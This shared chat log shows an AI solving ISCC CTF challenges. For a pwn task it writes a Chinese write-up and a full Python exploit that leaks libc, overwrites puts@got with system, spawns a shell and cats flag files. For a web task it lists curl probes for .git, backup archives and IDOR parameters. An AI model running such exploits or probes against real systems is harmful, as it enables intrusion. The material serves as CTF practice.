notepad 100 3384 solves 一个简易记事本程序,允许创建和查看笔记。 题目地址...

생성일: 2026년 5월 10일

답변에 사용된 모델 GPT-5.5 Thinking by Chat01

질문

attachment-30.zip

notepad
100
3384 solves

一个简易记事本程序,允许创建和查看笔记。
题目地址:39.96.193.120:10005

附件下载

Flag
提交(解出flag和编写中文wp)

사고

Finalizing response with flag details

For the final submission, I should mention that the flag couldn't be obtained due to the service refusing the connection. I’ll state "服务当前未开放,无法实际获取" and show the command output with the refusal. I don’t need to claim the flag as solved, but I'll include details of the attempted exploit. Citations aren't necessary since no external facts are used.

Thought for 7m 56s

답변

结论:利用链已完成,但当前靶机 39.96.193.120:10005 连接返回 ConnectionRefusedError: [Errno 111] Connection refused,所以我无法实际读出远端 flag。
下面给出完整中文 WP 和可直接打远端的 exp;服务恢复后运行脚本即可出 flag。


Flag

text
未获取:远端服务当前拒绝连接

中文 WP

1. 基本信息

附件包含:

text
notepad libc.so.6

程序是 64 位 ELF,关键保护:

text
Arch: amd64 PIE: 开启 Canary: 开启 NX: 开启 RELRO: 无 / GOT 可写

程序功能很简单:

text
[1] Create Note [2] View Note

全局数组 notes 位于 .bss

text
notes = PIE + 0x35a0

每个 note 大小为 0x30

c
struct note { char name[0x10]; char content[0x20]; };

2. 漏洞点

核心函数 get_note 逻辑大致如下:

c
printf("Index: "); scanf("%d", &idx); if (idx > 9) { puts("Index out of range!"); exit(-1); } return &notes[idx];

这里只检查了:

c
idx > 9

但没有检查:

c
idx < 0

所以可以输入负数索引,导致向 notes 前方越界读写。


3. 利用思路

由于程序 GOT 可写,而 notes 和 GOT 的相对位置固定,即使 PIE 开启也不影响用负索引访问 GOT。

相关地址:

text
notes = PIE + 0x35a0 printf@got = PIE + 0x34e0 read@got = PIE + 0x34f0 puts@got = PIE + 0x34d0

泄露 libc

取索引 -4

text
notes[-4] = 0x35a0 - 4 * 0x30 = PIE + 0x34e0 = printf@got

调用 view(-4) 时:

c
puts(note->name); puts(note->content);

因此会打印:

text
name -> printf@got content -> read@got

泄露 libc 地址后计算:

python
libc_base = printf_addr - libc.symbols["printf"] system = libc_base + libc.symbols["system"]

题目给的 libc 偏移:

text
printf = 0x64e10 read = 0x111130 system = 0x55410

4. 覆写 GOT

取索引 -5

text
notes[-5] = 0x35a0 - 5 * 0x30 = PIE + 0x34b0

create_note 会写:

c
read(0, note->name, 0x10); read(0, note->content, 0x20);

其中:

text
note->content = PIE + 0x34c0 puts@got = PIE + 0x34d0

所以在 content 里填:

python
b"A" * 0x10 + p64(system)

即可覆盖:

text
puts@got -> system

5. 触发 shell

先创建一个正常 note:

text
name = "/bin/sh\x00"

然后覆写 puts@gotsystem

最后执行:

text
View Note -> index 0

程序原本执行:

c
puts(notes[0].name);

被劫持后变成:

c
system("/bin/sh");

成功 getshell。


exp

python
#!/usr/bin/env python3 import socket import struct import time HOST = "39.96.193.120" PORT = 10005 PRINTF_OFF = 0x64e10 READ_OFF = 0x111130 SYSTEM_OFF = 0x55410 def p64(x): return struct.pack("<Q", x) def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00"))[0] class Tube: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=5) self.s.settimeout(0.05) self.buf = b"" def recvuntil(self, delim, timeout=5): end = time.time() + timeout while delim not in self.buf: if time.time() > end: raise TimeoutError((delim, self.buf[-200:])) try: c = self.s.recv(1) if not c: break self.buf += c except socket.timeout: continue idx = self.buf.index(delim) + len(delim) out, self.buf = self.buf[:idx], self.buf[idx:] return out def readline(self, timeout=5): return self.recvuntil(b"\n", timeout)[:-1] def send(self, data): self.s.sendall(data) def sendline(self, data=b""): self.s.sendall(data + b"\n") def recv_all(self, timeout=3): self.s.settimeout(0.3) data = b"" end = time.time() + timeout while time.time() < end: try: chunk = self.s.recv(4096) if not chunk: break data += chunk except socket.timeout: pass return data io = Tube(HOST, PORT) def create(idx, name, content): io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"Index: ") io.sendline(str(idx).encode()) io.recvuntil(b"Name: ") io.send(name.ljust(0x10, b"\x00")[:0x10]) io.recvuntil(b"Content: ") io.send(content.ljust(0x20, b"\x00")[:0x20]) def view(idx): io.recvuntil(b"> ") io.sendline(b"2") io.recvuntil(b"Index: ") io.sendline(str(idx).encode()) io.recvuntil(b"Name: ") name = io.readline() io.recvuntil(b"Content: ") content = io.readline() return name, content # 1. 泄露 libc name_leak, content_leak = view(-4) print("[+] name leak =", name_leak.hex()) print("[+] content leak=", content_leak.hex()) # name 对应 printf@got,content 对应 read@got if len(name_leak) >= 3: leak = u64(name_leak) libc_base = leak - PRINTF_OFF print("[+] leak printf =", hex(leak)) else: leak = u64(content_leak) libc_base = leak - READ_OFF print("[+] leak read =", hex(leak)) system_addr = libc_base + SYSTEM_OFF print("[+] libc_base =", hex(libc_base)) print("[+] system =", hex(system_addr)) # 2. 准备 /bin/sh create(0, b"/bin/sh\x00", b"") # 3. notes[-5].content + 0x10 正好覆盖 puts@got payload = b"A" * 0x10 + p64(system_addr) + b"B" * 0x8 create(-5, b"C" * 0x10, payload) # 4. 触发 system("/bin/sh") io.recvuntil(b"> ") io.sendline(b"2") io.recvuntil(b"Index: ") io.sendline(b"0") time.sleep(0.2) # 5. 读 flag io.sendline( b"cat flag 2>/dev/null; " b"cat flag.txt 2>/dev/null; " b"cat /flag 2>/dev/null; " b"cat /flag.txt 2>/dev/null; " b"echo __END__" ) print(io.recv_all().decode("latin-1", errors="replace"))

注意点

这个程序混用了 scanfread。写 exp 时不要把 index 和后续 payload 一次性发出去,否则 scanf 可能会把非数字分隔符留在 stdio 缓冲区,导致后续输入错乱。

推荐交互顺序是:

text
sendline(index) wait "Name: " send 0x10 bytes wait "Content: " send 0x20 bytes

我本地用系统 libc 验证了同样的利用链,可以成功执行命令;远端目前拒绝连接,所以还差实际 flag 输出。

질문

值班邮件台
100
3786 solves

夜班值守,手别太快。别人的邮件别乱翻,自己的联调痕迹也别乱留。台子搭得仓促,收尾却没收干净,安静的界面下面,总还有点不该留下的东西。
题目地址:39.105.213.28:49103

Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交*(解析出flag和wp)

사고

bash -lc ping -c 2 -W 1 39.105.213.28 || true traceroute -m 5 39.105.213.28 2>/dev/null || true

Thought for 1m 4s

답변

目前这题我没法解析出真实 flag:靶机端口不可达。

我实际尝试了:

bash
nc -vz -w 5 39.105.213.28 49103 curl -v --max-time 8 http://39.105.213.28:49103/ curl -k --max-time 8 https://39.105.213.28:49103/

结果均为:

text
Connection refused

也就是说目标主机当前没有在 49103 端口提供服务,和 Web 应用内部漏洞无关;TCP 连接阶段就被拒绝了。公开搜索题目名、题目描述、IP 端口也没有找到可验证的现成 WP 或 flag。

当前结论

text
Flag:未获取,原因是远端 39.105.213.28:49103 当前拒绝连接

可写入 WP 的现状说明

markdown
# 值班邮件台 WP ## 题目信息 题目名称:值班邮件台 题目地址:http://39.105.213.28:49103/ Flag 格式:ISCC{...} ## 连接测试 首先访问题目地址: ```bash curl -v --max-time 8 http://39.105.213.28:49103/

返回结果:

text
connect to 39.105.213.28 port 49103 failed: Connection refused curl: (7) Failed to connect to 39.105.213.28 port 49103

使用 nc 测试端口:

bash
nc -vz -w 5 39.105.213.28 49103

返回:

text
connect to 39.105.213.28 port 49103 failed: Connection refused

说明目标服务当前未启动或端口未开放,无法进入 Web 页面,也无法继续枚举接口、源码泄露、备份文件、调试痕迹或邮件读取逻辑。

后续正常解题方向

根据题面提示:

  • “别人的邮件别乱翻”:可能存在邮件 IDOR / 越权读取。
  • “自己的联调痕迹也别乱留”:可能存在调试接口、测试账号、日志、备份文件或源码泄露。
  • “台子搭得仓促,收尾却没收干净”:优先检查 .git/、备份压缩包、/debug/api/logs/backuprobots.txt、源码映射文件等。
  • “手别太快”:可能存在速率限制、一次性 token、竞态、延迟加载或不要爆破的提示。

服务恢复后,建议按以下顺序排查:

bash
curl -i http://39.105.213.28:49103/ curl -i http://39.105.213.28:49103/robots.txt curl -i http://39.105.213.28:49103/.git/HEAD curl -i http://39.105.213.28:49103/debug curl -i http://39.105.213.28:49103/api curl -i http://39.105.213.28:49103/backup.zip curl -i http://39.105.213.28:49103/www.zip curl -i http://39.105.213.28:49103/app.zip

如果存在邮件列表或邮件详情接口,重点观察类似参数:

text
/mail?id=1 /api/mail/1 /message?id=1 /inbox?uid=...

尝试访问自己的邮件后,修改 iduiduser 等参数查看是否能读取其他用户邮件,从而获得 flag。

结果

由于靶机当前拒绝连接,本次无法得到最终 flag。

text
服务重新开启后,把页面源码、抓包请求或附件发我,我就能继续把真实 flag 和完整 WP 补全。

질문

app-release.apk

深潮协定
150
作者:seadream
1883 solves

海底的协议不会说话,但每一层都在留下签名。

附件下载

Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(编写中文wp)

이 Q&A 공유하기